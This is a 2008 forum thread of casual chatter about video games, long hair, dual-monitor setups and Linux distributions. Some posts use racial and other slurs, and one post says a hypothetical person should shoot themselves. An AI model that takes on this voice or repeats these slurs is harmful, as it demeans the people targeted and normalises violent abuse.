anyway, gta 4 online, hd, sex, cum, ect.

*edit* i think i know which tv i will play starcraft 2 on ;o

*another edit because i like to edit my posts heavily*

ive been thinking about cutting my hair...maby taking 6-8 inches off.  the hair starts to get annoying when it gets to your mid to low back.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 10, 2008, 10:34:10 PM
:O  Freaking nice.

Those Vizio TVs look pretty good from what I've seen of them -- a lot of people seem to be getting those nowadays.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 11, 2008, 12:32:48 AM
Sweet deal, if I'm not mistaken that's bigger then the VIZIO in my living room.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 11, 2008, 02:44:56 AM
definatley going to keep the old tv though, playing iidx on an hdtv is like playing dead rising on a non hdtv.  (especially 8 and 9, NO TIMING ADJUSTMENT, basically making them literally unplayable, at least i can play 12th and 13th)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 11, 2008, 02:13:56 PM
ive been thinking about cutting my hair...maby taking 6-8 inches off.  the hair starts to get annoying when it gets to your mid to low back.

NO.

I regret cutting my hair :(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 11, 2008, 04:25:18 PM
Fuck you. Long hair ftfw

(ps lol jk I <3 you)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 11, 2008, 07:14:41 PM
Only cut it if you REALLY want to, or else your going to regret it. Considering you're only going to cut it a little I would just go for it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 11, 2008, 08:35:46 PM
well long hair kicks ass

my hair is just so long, 6-8 inches cut off, and i STILL have long hair.  its just almost to my lower back now, and well, dealing with it is a bit more difficult than if it was a bit shorter.

i will probably take a before picture if/when i decide to cut it.

also short hair is too much maintenance, you get it cut, then several days later it looks like crap and you need it cut again, i fucking hate that.

and from what i remember (like...8 or so years ago..stfu) i look fucking retarded with short hair.

*edit*

and gta 4 online

while it is fun and all, i doubt i will end up getting xbl gold for this game.  i mean, being competitive with analog sticks is fucking silly imo.  unless i attach mouse and keyboard to my 360, ill just wait until another "xbl online" game catches my eye.  i mean, i got the game for its single player stuff, and that stuff is awesome, but i mean, im just commenting on the online.

maby if fable 2 puts out, i will try this "online" thing again.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 12, 2008, 03:39:53 PM
Anyone here play Exteel? It looks like Gunz, minus a lot of the annoying shit gunz had plus GIANT MECHS OH FUCK.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 12, 2008, 03:46:55 PM
(http://files.spectere.net/pictures/screenshots/lolvista.jpg)

lol

Eh, can't complain.  It's pretty, boots somewhat quickly (more quickly than my very lean Linux installation, slower than XP), and feels a bit more responsive than XP on this machine.  Oh yeah, it can also actually use all of my memory.  SHOCK HORROR GASP.

The "Windows Experience Index" is quite fucked, though.  My system doesn't hold a candle to some of the hardcore OC'd rigs, or even stock rigs with insane video cardage, yet every category of the WEI was maxed out (5.9) with the exception of disk performance, which was a 5.3 (hence my base score).

I suppose it would do a good job at striking down low-end chipsets, but it certainly doesn't work too well for an enthusiast's system.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 12, 2008, 10:05:14 PM
Anyone here play Exteel? It looks like Gunz, minus a lot of the annoying shit gunz had plus GIANT MECHS OH FUCK.

Ultimate had told me about that game a while back, it did look pretty sweet. I don't have time for MMOs anymore though D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 12, 2008, 10:28:53 PM
I have a Dreamcast now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on May 13, 2008, 12:03:11 AM
i have a wii zapper now

i am is shootan targets :)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 13, 2008, 02:15:46 AM
Ultimate had told me about that game a while back, it did look pretty sweet. I don't have time for MMOs anymore though D:

It's a shootan game that's mostly PVP (at least I hop-e so), they just call it an MMO to ride on the fame.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 13, 2008, 07:44:28 AM
I have a Dreamcast now.

play jet set radio

NOW

best action game ever made

not to mention the best soundtrack of any game ever

*edit*

i literally got WORSE at iidx

yes, i defy logic.  i mean, i FAILED aurora [h].

i have passed aurora [a] twice
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on May 13, 2008, 05:36:59 PM
People really need to stop saying shootan. Good god that annoys the hell out of me these days. I don't even know why.

Actually, vast amounts of internet pop-culture annoy the hell out of me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on May 13, 2008, 05:47:31 PM
People really need to stop saying shootan. Good god that annoys the hell out of me these days. I don't even know why.

Actually, vast amounts of internet pop-culture annoy the hell out of me.

watch out or i'll pull up behind you and start SHOOTAN

;D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 13, 2008, 07:50:20 PM
People really need to stop saying shootan. Good god that annoys the hell out of me these days. I don't even know why.

Actually, vast amounts of internet pop-culture annoy the hell out of me.

Does it also bother you when people make the sarcastic comment of:

"BAWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"?

Edit:

Shame on you guys.  >:(  :'( :-[   >:( :) >:(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 13, 2008, 09:24:57 PM
So I have my second and final AP exam tomorrow. Thinkin' I should probably study, or something. Huh.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on May 13, 2008, 09:41:20 PM
I have a Dreamcast now.

Dude i've been wanting a dreamcast for weeks now...I've been wanting it just to play Virtua Tennis again.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 13, 2008, 10:00:48 PM
sega saturn... xD

also, virtua cop. oh god, that game. fuck me now i love it.one of the best shootan games ever.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 13, 2008, 10:41:27 PM
People really need to stop saying shootan. Good god that annoys the hell out of me these days. I don't even know why.

Actually, vast amounts of internet pop-culture annoy the hell out of me.

Heh, I didn't even realize it was that popular. What bothers me to no end is the over use of Epic and Failure. Hell, my friend just said it and I know for a fact he doesn't browse any of the chans.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 13, 2008, 11:08:42 PM
The ultimate troll:

(http://imagechan.com/images/589a446333eb31790e31440526ef429d.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 13, 2008, 11:35:21 PM
If someone ever asked that somewhere that I was, I would tell them that they need to go get their dad's shotgun and shoot themself, because if they are any indication of how their kid will turn out, the world doesn't need another retard.

People really need to stop saying shootan. Good god that annoys the hell out of me these days. I don't even know why.

It bugs me too.

What bothers me to no end is the over use of Epic and Failure.

That doesn't bother me so much. I use Epic and Failure. I find it a pretty good way to describe things. I sometimes say things like "That is a giant pile of fail." and such, in normal speech. I only use epic for something that would truly be well, epic. Something that is above and beyond simply win or awesome. Something that deserves recognition for how truly awesome it is, is epic to me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 13, 2008, 11:57:47 PM
Smart troll indeed. I loled bricks.

Also epic is so overused now it's lost all meaning. Same as win and fail. It's just insanely annoying when one minor positive thing happens and it's "EPIC WIN" or something negative happens and "FAIL".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 14, 2008, 12:06:07 AM
Yeah, I only use Epic and Fail when I feel they are actually appropriate though. But I know what you mean.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 14, 2008, 12:55:57 AM
I avoid "fail" like the plague because the last thing the Internet needs is one more person saying it all the time.

I use "epic" occasionally, but only for things that truly deserve it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 01:26:54 AM
the hair starts to get annoying when it gets to your mid to low back.


Try having hair that goes below your ass.  :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on May 14, 2008, 01:34:55 AM
Long hair on girls is often very hot though. There's a trade-off for all the work you do to maintain it.

Yes, epic, fail and baaawwww also annoy me. Epic more than fail because I totally used it to describe things before it was "cool."

In other news, I've had a strange illness for like the last week. Really it's just a cold but where the hell did I get it from it's like 60 degrees outside.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 01:41:20 AM
I get a variation of comments on my hair. 

Sometimes I get something such as "OMG!  Your hair is so pretty!" or "Wow...your hair is...long."

Other times I get people petting me.

And then there's my "favorite" - the people that'll grab my hair and say "OH MY GOD YOU SHOULD DONATE YOUR HAIR!  IT'S A SIN FOR YOU TO HAVE THIS BEAUTIFUL HAIR WHEN THERE'S BALD KIDS WITH CANCER!"

When I do decide to cut my hair, I'm certainly going to donate it.  But until I do - PAWS OFF!  >_<
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 14, 2008, 01:49:39 AM
I get a variation of comments on my hair. 

Sometimes I get something such as "OMG!  Your hair is so pretty!" or "Wow...your hair is...long."

Other times I get people petting me.

prove it. I've seen some good heads o' hair in mah day
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 01:52:48 AM
prove it. I've seen some good heads o' hair in mah day

This was taken in December...probably the most recent picture I have of myself where my hair is almost completely visible.

(http://fc05.deviantart.com/fs28/i/2008/045/3/0/Up_in_the_sky____by_jupichan.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 14, 2008, 02:01:20 AM
Holy fawk. That be some hair.

I just got back from a 2 day trip to burbank. SIX FLAGS woohoo. Never been before, and my grandma said she had 2 free plane tickets, so we decided to go since school was out already for me.  Pretty awesome place, although it sucks that its set up for thousands of people to walk around in, but it wasn't busy at all, we rarely had to wait 5 minutes to get on any ride.

My grandma also got this 24" widescreen samsung 245BW LCD monitor for mothers day, so I get her old [not really OLD] dell 17" LCD. It'll be nice to finally have some LCD action. I currently have some syncmaster 'flat screen' CRT taking up more space than necessary.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 14, 2008, 02:03:58 AM
Holy fawk. That be some hair.

Seconded. Pretty rad.. VLAD. YOU GOT SUM COMPETITION.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 02:05:34 AM
Muwahahah!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 14, 2008, 02:15:40 AM
Also

(http://img.photobucket.com/albums/v115/SneakyMu/IMG00363.jpg)

/win

Airbrushed beanie with me name on it. Sneaky is in white, on top of a vinyl record with black/red.

Awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 14, 2008, 02:23:13 AM
Jupi's hair is ridiculous.  One time I got lost in it.  It took fifteen years for everyone to notice that I was gone, then another five minutes to find me. ;_;
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 02:23:54 AM
WELL IF YOU HADN'T BURROWED YOURSELF IN IT LIKE THE BAD FURRY THAT YOU ARE WE WOULDN'T HAVE HAD THAT PROBLEM, NOW WOULD WE!?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 14, 2008, 02:25:55 AM
its about a foot longer than mine, and my hair is long.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 02:26:42 AM
Well, my hair has grown a bit since then.  So...yeah.  :-P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 14, 2008, 02:31:17 AM
WELL IF YOU HADN'T BURROWED YOURSELF IN IT LIKE THE BAD FURRY THAT YOU ARE WE WOULDN'T HAVE HAD THAT PROBLEM, NOW WOULD WE!?

I...WAS TRYING TO BLEND IN WITH MY SURROUNDINGS.

EDIT: MOTHERFUCKING QUICK EDIT BE RUININ' MUH SHIT.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 02:34:51 AM
I...WAS TRYING TO BLEND IN WITH MY SURROUNDINGS.

EDIT: MOTHERFUCKING QUICK EDIT BE RUININ' MUH SHIT.


Hey - there was only ONE other furry in the room.  1.5 if you count the half of me that's a furry.

So WHAT SURROUNDINGS were you blending in with?!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 14, 2008, 02:35:11 AM
lawl furfag
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 02:37:26 AM
I'm just a cabbit. :(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 14, 2008, 03:20:36 AM
Hah nice hat, definitely nerdy but awesome. Also damn you niggers got sum long hair. Mine got to my mid back and I cut it off and sent it to Locks of Love.

Also lol wut, since when was BAWWWWWW (and shootan for that matter) popular? I've only ever seen it on /v/.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on May 14, 2008, 03:30:10 AM
Hah nice hat, definitely nerdy but awesome. Also damn you niggers got sum long hair. Mine got to my mid back and I cut it off and sent it to Locks of Love.

Also lol wut, since when was BAWWWWWW (and shootan for that matter) popular? I've only ever seen it on /v/.


I win the hair contest!  woooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on May 14, 2008, 05:55:00 AM
Hah nice hat, definitely nerdy but awesome. Also damn you niggers got sum long hair. Mine got to my mid back and I cut it off and sent it to Locks of Love.

Also lol wut, since when was BAWWWWWW (and shootan for that matter) popular? I've only ever seen it on /v/.

They are both everywhere in the music game community. sows, bemanistyle, vjarmy, whatever
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 14, 2008, 11:25:11 AM
lawl furfag

SAYS YOU.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 14, 2008, 12:06:21 PM
SAYS YOU.

:O

ohh and the game "skate" is actually pretty fun from the demo ive been playing.  you basically only use the right analog, left analog, one of the triggers, and the a or x button, but damn, you would be suprised with how complex this game is.

it like rewards skill more than anything, and i applaud people who can chain long combos, because going in and out of manuals is a lot harder than it sounds.

anyway, its one of those "if i got better at it, and if i had money, i might buy it" games
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 14, 2008, 01:22:21 PM
skate. is quite fun.  I got it shortly before my Xbox died. =(

It would probably be better if they didn't try to pull the whole "I WANNA BE A PRO SK8ER" storyline bs that the Tony Hawk games started at the very moment that those games started to suck but the gameplay is engaging enough to make it worth it (unlike the Tony Hawk games, where all of the games after TH4 are basically THE SAME GAME).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 14, 2008, 01:31:06 PM
(unlike the Tony Hawk games, where all of the games after TH4 are basically THE SAME GAME).

this is why you only play thps 4 on a custom level (DDEPO IS THE BEST LEVEL I HAVE EVER MADE MY GOD) with the slow motion cheat turned on, with a friend, from 2am to 8am.

i never had so much fun glitching through walls before.

like seriously, the level would have a 1x1 square hole as deep as it would go, next to a 1x1 tower as high as it could go. 

fall to the bottom of this "unescapable" pit and do 360 ollie jumps in the corner with the slow motion turned on (not needed, but makes it easier)  when you are angled just right, you teleport to the top of the high "impossible to get to" tower.

and i did this for 6 hours....yea...

and no, i am not exaggerating, i really did that for 6 hours with a friend in split screen.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 14, 2008, 01:49:17 PM
Sounds..... painful.

But yeah, it can be fun seeing how much points you can get for your ginormous combos. My brother could manage 4million+ point combos without any cheats at all by the time we stopped playing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 14, 2008, 01:51:36 PM
My hair is moderate length for a guy, but I always get told I have great hair and people pet it all the fucking time. I've gotten used to it, so it doesn't bother me nearly as much as when it started.

Also, I occasionally use "epic," but I use "awesome" far more often.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 14, 2008, 04:36:48 PM
Yeah, "Awesome" is a common word for me. So is "Amazing".


I just got a hair cut again.... No, you're not getting another picture. (it's not bad, but I'm not one of those guys who likes to be in pictures.)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on May 15, 2008, 12:51:19 AM
I ended up getting $300 instead of $600 from that stimulus refund thing because I only paid in $290 instead of over $300. What the hell. $10 costs me $300, which I sort've needed to...y'know....LIVE.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 15, 2008, 01:29:03 AM
..? Huh? Also I just saw no county for old men, good movie. Also also Exteel is surprisingly fun, I bet if I get more into it I'd like it more then gunz.

http://en.wikipedia.org/wiki/Bush_hid_the_facts

lol wut?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 15, 2008, 01:30:59 AM
Okay time to get nerdy

Grandma got a new LCD, gave me her old one. Firstly, I just replaced my old monitor with the new one.

Then I thought.
hmm
then this came into existance:

click for hueg pic (http://img.photobucket.com/albums/v115/SneakyMu/101_3253.jpg)
win
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 15, 2008, 03:19:31 AM
Welcome to dualscreening. It almost makes it impossible to have to deal with only one.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 15, 2008, 06:26:47 AM
i don't see the point in needing two monitors.  i mean, if i had an extra cord, i COULD use my 19inch lcd along with the 42 inch hdtv, but i don't see the point in doing something so silly.  then again, i don't have two ports for such a thing, so i couldn't do it if i wanted too.

anyway

http://www.mydjsobad.com/

why haven't i discovered this place sooner, its just a matter of clicking the add on bemanistyle.  i am totally going to be buying an album or three(maby nerd it out with a bemanistyle t shirt) from the site when i have the cash money.

*edit*

pretty much all of the dj chucky, sharpnel, m1dy is sold out

this makes me a saaaaaad panda

http://www.mydjsobad.com/item.php/item/akira-death-killer-family-business

isn't sold out however, and looks to be freggan awesome
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 15, 2008, 07:23:51 AM
Welcome to dualscreening. It almost makes it impossible to have to deal with only one.

So true.
i don't see the point in needing two monitors.

Because you haven't tried it yet.

I always thought that Dualscreen was more or less just a nerdy thing, except for people who could really use the extra screen space (people programming on one screen with documentation on the other and such), but after having tried it, I absolutely need it. I feel so incredibly limited when I only have 1 screen.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 15, 2008, 07:28:22 AM
Because you haven't tried it yet.

exactly, explain why having two monitors is awesome?  i never had the need for more space, and i literally can't think of anything "me personally" would use an extra screen for.

i mean i do have an old 17 inch flatscreen crt monitor, and i do have that new xbawx hueg hdtv.  but i lack the desktop space, and extra port to plug another monitor into.

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 15, 2008, 07:36:05 AM
I figured more or less the same, aside from the odd time when I program, but I use my second screen for stuff like having msn open without needing to minimize things to check the online list, (and having the conversations over the main window, instead of taking over my main monitor) and other things. I keep winamp over the left side of my second monitor, over top of things so I can see what's playing without needing to interrupt myself and move things around. Any time I have a full screen app, I can keep winamp visible in the second monitor, which saves me from needing to alt+tab out to check what's playing. Any time I have something like Fruityloops, Adobe Audition, or any other program that can use the full screen and detach child windows, I'll use a child window on the other screen, (like the playlist part of Fruityloops). It increases productivity, and is generally helpful.

It's not just that, but the fact that you get used to having it there, and using it in certain situations, so that when you don't have it there, it feels weird.

I never thought I'd get so addicted to having a second screen myself, but nevertheless, I am.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 15, 2008, 07:41:22 AM
i guess its kind of like the two thumb buttons on my mouse.

i never figured id use them, now browsing the internet without my mx518 (or friends g5) is hell.

i mean, i use my middle mouse button, and thumb buttons nearly as much as i use the left mouse button.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 15, 2008, 07:49:17 AM
Pretty much. It's one of things you think you'd never really use, but after a while you just get too used to it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on May 15, 2008, 10:51:31 AM
I like dual screening when I'm CGing an pictuar I drawed and can see a full size finished product on the screen next to me.  Only done it like 2 times though for space reasons.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 15, 2008, 11:29:04 AM
i don't see the point in needing two monitors.

EXAMPLE SCENARIOS, INCOMING.

If you gave it a shot I'm sure you'd find many of your own reasons after a while.  When you first start using a dual-monitor setup you'd probably find that you really don't know what to do with the second display.  It's one of those things that you just have to stick with until you start using it, as odd as that may sound.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 15, 2008, 11:30:49 AM
I've encountered almost all of those situations myself, spec.
Except the photoshop and Xbox360 ones.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 15, 2008, 11:43:26 AM
wellp, im not going to go out of my way for a dual monitor setup.  but when the day arives that i get a dual video card computer (or a video card with two ports) and i get a bigger desk to get situated on, i might give it a try.  or hell, a second 42 inch hdtv....

and i played the conan the barbarian demo for the x360, believe it or not, its quite fun.  get a giant two handed sword, land a "heavy" attack, and watch as whoever you sliced with that attack is chopped in half.  you can also cut off both of the arms of the enemy in a single attack(when you are dual wielding), and it looks awesome.

it kind of feels like god of war meets ninja gaiden.  maby not as "good" as those games, but its friggin conan.


(by the way i know nothing about conan the barbarian other than he is a shirtless muscley guy that kills things, and that alone gets praise from me)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 15, 2008, 12:49:39 PM
Conan is pretty badass.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 15, 2008, 01:48:49 PM
I heard Conan is going to take a retarded huge amount of memory, that and it has NIPPLES. Also Exteel is rather fun. At first I didn't like it, but now that I'm starting to get it (has a surprisingly steep learning curve, for a free online game) it's a lot of fun. Also has an insane amount of customization.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 15, 2008, 02:11:02 PM
Whew.

Remember the days when low-poly models were all the rage?  Remember when developers were talking about their 500-700 poly player models for Quake 2?

I just took a look at the web site for Tactical Ops 3 (http://www.tacticalops3.com/), a mod for UT3.  One of the screenshots that they have on the site features a wireframe model of an AK and, well, the magazine alone has 1432 polygons.  That's only a single part of a weapon model.  The body of the weapon has 8343 polygons, giving you a combined total of 9775 polys.  I'm pretty sure that weapon alone has more polys than your average scene in Quake.

It's amazing how much things change in 10 years.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 15, 2008, 02:16:54 PM
So my Ubuntu upgrade to 8.04 came with Firefox 3 beta 5. It's really pretty nice.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 15, 2008, 03:25:58 PM
lawlz, I've had 8.04 for a week or two now. :P

That's the one thing that sort of scares me about Ubuntu -- they have a bad tendency of putting potentially unstable and/or beta products in their mainline distribution.  I've already experienced several display bugs in FF3b5 in both Linux and Windows.  The video card driver versions out when Ubuntu started pushing out compiz (i.e. its "desktop effects" gimmick) weren't stable enough for it, to the point where I've experienced hard locks while performing simple tasks.

So I dunno.  On one hand, it's not completely antiquidated like Debian is most of the time.  However, it's also nowhere near as stable as a Debian installation would be.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 15, 2008, 04:54:10 PM
Well, the desktop I'm using has a shitty video card and only 448MB DDR RAM, so I really can't do any desktop effects without dragging the system down. Unlike my laptop, which had a decent video card and 2GB DDR2 RAM.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 15, 2008, 05:36:28 PM
Damn, I was playing some exteel, just getting into it, now it just gives me an error and says "the program will now terminate" whenever I try and start it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 15, 2008, 05:49:06 PM
Whew.

Remember the days when low-poly models were all the rage?  Remember when developers were talking about their 500-700 poly player models for Quake 2?

I just took a look at the web site for Tactical Ops 3 (http://www.tacticalops3.com/), a mod for UT3.  One of the screenshots that they have on the site features a wireframe model of an AK and, well, the magazine alone has 1432 polygons.  That's only a single part of a weapon model.  The body of the weapon has 8343 polygons, giving you a combined total of 9775 polys.  I'm pretty sure that weapon alone has more polys than your average scene in Quake.

It's amazing how much things change in 10 years.

You know that uber badass SC2 video of the "making of a marine"? They BROKE THEIR RENDERER. They had 5 million polygons per frame in that video. They now use Pixar's custom renderer. They're more and more mixing and matching technology, just to get things to work.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 15, 2008, 05:56:07 PM
Well now I've deleted the files from my start menu, but their are still exteel files on my ad/remove list and my  desktop (just icons). HALP. Every time I hit remove it flashes quickly and it just stays there.

Never mind, I fixed it :3.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 16, 2008, 03:17:54 AM
Wow, so Crysis actually seems to play as good as it looks.  Color me really freaking surprised (and pleased).  Looks like I'm going to actually be buying it, unlike its older brother Far Cry.

I guess Crytek learned that people don't like dying over and over and over and over and over again.

Also, I have to say, their physics engine is pretty awesome.  I love how you can demolish buildings and knock over trees if you want to.  I actually shot down a tree and it started doing a domino effect with some other trees!  Holy shit.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 16, 2008, 10:11:12 AM
i uhh downloaded the bring down the sky dlc for mass effect.

i mean, i had 400 points sitting around doing nothing, and why the hell not, so i got it.

umm its about 90ish minutes long, and really, its not bad.  its just not worth you know...$5.00.

i guess i got the 50 achievement points for beating it, and COLOSSUS X HEAVY HUMAN ARMOR out of the deal(seriously, i found every other varient of the armor save for the quarian version, multiple times).  but it just wasn't worth 400 ms points, and i consider myself a die hard mass effect fan, having beaten the game 6 times, with all 1050 achievement points.

well whatever, it was fun while it lasted, and i can pick up the COLOSUSS X QUARIAN ARMOR when i play through again to hit 60 on my second character.

*edit*

i decided to GRIND on the oblivion for a bit, here is my current character

(http://img291.imageshack.us/img291/4039/screenshot25ec3.png)

25 levels of block to go....whee

ohh, and i got on urban dead for the first time in around a year.  ended up finding a human, i bit him, and infected him (they take 1 damage every time they move).  he shot me up real good, would have killed me, but he ran out of ammo and started axing me.  i being the awesome zombie i am, got him down to about 10 hp, then he took off and ran. 

id be surprised if he survives, being infected and all.  to the place he ran, there was another human, and i killed him before running out of ap.  as i killed him, i seen another human enter the building, so i am most likley dead, again.  as long as he doesn't headshot me(its like 5 more ap for me to stand up, annoying, but nothing too bad), whatever, being killed as a zombie isn't really bad, in fact, im sure its expected that the zombie dies at the end of every day.

what i would like to see is a co op zombie apocalypse rpg like urban dead, only not as a browser based game.  it would fucking kick ass.

but i guess a zombie apocalypse co op shootan(fuck off, i like saying shootan) game (left for dead) will be good enough.

AND AND AND for those who don't know

http://www.urbandead.com/

if you like games that are like "get on once a day for like 10 minutes" this should prove entertaining.

*edit*

AND AND AND

played some lost planet

game is fuckhard, and i made it to level 5.  pretty fun when you aren't getting rocket launchered, as you try to get up, rocket launchered again, and stunlocked this way until you die.

also yay for tldr posts due to NOBODY ELSE POSTING

*edit*

it is a bit past 6:30 pm est and i am tired

i expect EVERY SINGLE ONE OF YOU to read this tldr post, and reply to it when i wake up
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 16, 2008, 08:18:14 PM
Signed up under Jason Rhytor
woo zombies and shit
Title: Re: Lame Replies Thread, With A Vengeance
Post by: dinnerroll on May 16, 2008, 10:46:07 PM
sup brosk33s

i'll probably end up making some really shitty emotional post at some point in the near future detailing my woes with first love expecting some kind of sympathy.

just a heads up rofl
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 17, 2008, 12:45:37 AM
sup brosk33s

y halo thar

i'll probably end up making some really shitty emotional post at some point in the near future detailing my woes with first love expecting some kind of sympathy.

Sweet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 17, 2008, 01:53:24 AM
Hibernation -- the best way to drastically increase uptime:

Code: [Select]
C:\Documents and Settings\Spectere>uptime
\\BASILISK has been up for: 62 day(s), 3 hour(s), 40 minute(s), 42 second(s)

lawl, my laptop's been running for 62 days.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 17, 2008, 06:12:23 AM
this little bastard

(http://img528.imageshack.us/img528/9340/zombiehunterftlwd8.jpg)

its one thing to headshot me, but spending 1ap to call me "scum", thats just terrible. i mean, so what if i killed his friend, im just being a damn zombie.

im going to bite his ass if i ever see him wandering away from the safety of the rooftops.  may as well spend this day trying to break down the barricade.

*edit* ololol with only 30 ap i managed to break down the barricade bite both survivors (my bites infect survivors) and then let out some zombie noise towards the location of this place.  niggas should be zombies by the time i log on tomorrow.

also, i really should find a revive point, because ive spent so much time as a zombie, i have every zombie skill (save for brain rot, brain rot = way way way harder to get revived) and over 1000xp, so i should be able to buy every human skill.

one last thing because i can't stop rambling.  i did start out the game as a fireman, and umm well, i got killed really fast, so i ended up being a zombie.  to note, it is way easier being a zombie from the start rather than going "survivor with no xp" to zombie, because you lack any zombie skills and hitting just about anything is hell.  so yea, urban dead, good 10 minute time killer.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 17, 2008, 10:38:54 AM
I had a dream last night that I was at some charity party at Bill Gates' house (and, for some reason, he wasn't nearly as rich) and my girlfriend left me for some football player. Then I went on a rampage and killed everyone. Foreshadowing?

o wate
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 17, 2008, 10:50:29 AM
O.o

I, uh, wouldn't worry about it too much unless you suddenly get invited to Bill Gates' house (so, when did he move to Tampa again? XD).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 17, 2008, 11:01:20 AM
O.o

I, uh, wouldn't worry about it too much unless you suddenly get invited to Bill Gates' house (so, when did he move to Tampa again? XD).

Yeah, good point. His permanent residence is, like, California, I think. Nice and faaaaaar away from me.

Also, I should probably go get some presents for my sisters, considering they'll be here in an hour and we're celebrating both their birthdays (may 1 and may 18) today. Yay obligations!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 17, 2008, 04:54:42 PM
I just bought one of the best capos available

woo
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 17, 2008, 05:21:22 PM
